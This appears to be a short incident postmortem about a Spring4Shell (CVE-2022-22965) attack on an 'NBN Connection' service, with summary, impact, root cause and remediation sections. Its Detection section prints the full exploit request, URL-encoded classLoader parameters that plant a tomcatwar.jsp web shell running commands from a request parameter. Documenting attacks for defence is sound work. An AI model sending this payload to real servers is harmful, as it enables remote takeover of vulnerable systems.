Incident Postmortem: attack using CVE-2022-22965

## **Summary**

At <2022-03-20T03:16:34Z> the SOC logs detected an ongoing attack with a P1 – Critical priority

According to the previous investigation, it was caused by a zero day exploit known as Spring4Shell CVE-2022-22965

the nbn Team was alerted that the ongoing attack was affecting the services:

Infrastructure name: NBN Connection  
Network hostname: nbn.external.network

## **Impact**

Due to the attack the services were down. For 2 hours

## **Detection**

The log detected ongoing POST request:

Headers: "suffix=%>//

c1=Runtime

c2=<%

DNT=1

Content-Type=application/x-www-form-urlencoded"

DATA:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

The attacker is tryining to use the client request path:

/tomcatwar.jsp

## **Root Cause**

The vulnerability is caused by the getCachedIntrospectionResults method of the Spring framework wrongly exposing the class object when binding the parameters.

## **Resolution**

a firewall rule was implemented.

And systems upgraded according to the CVE-2022-22965 report

## **Action Items**

Look for cve’s and vulnerabilities reported that could affect the systems used.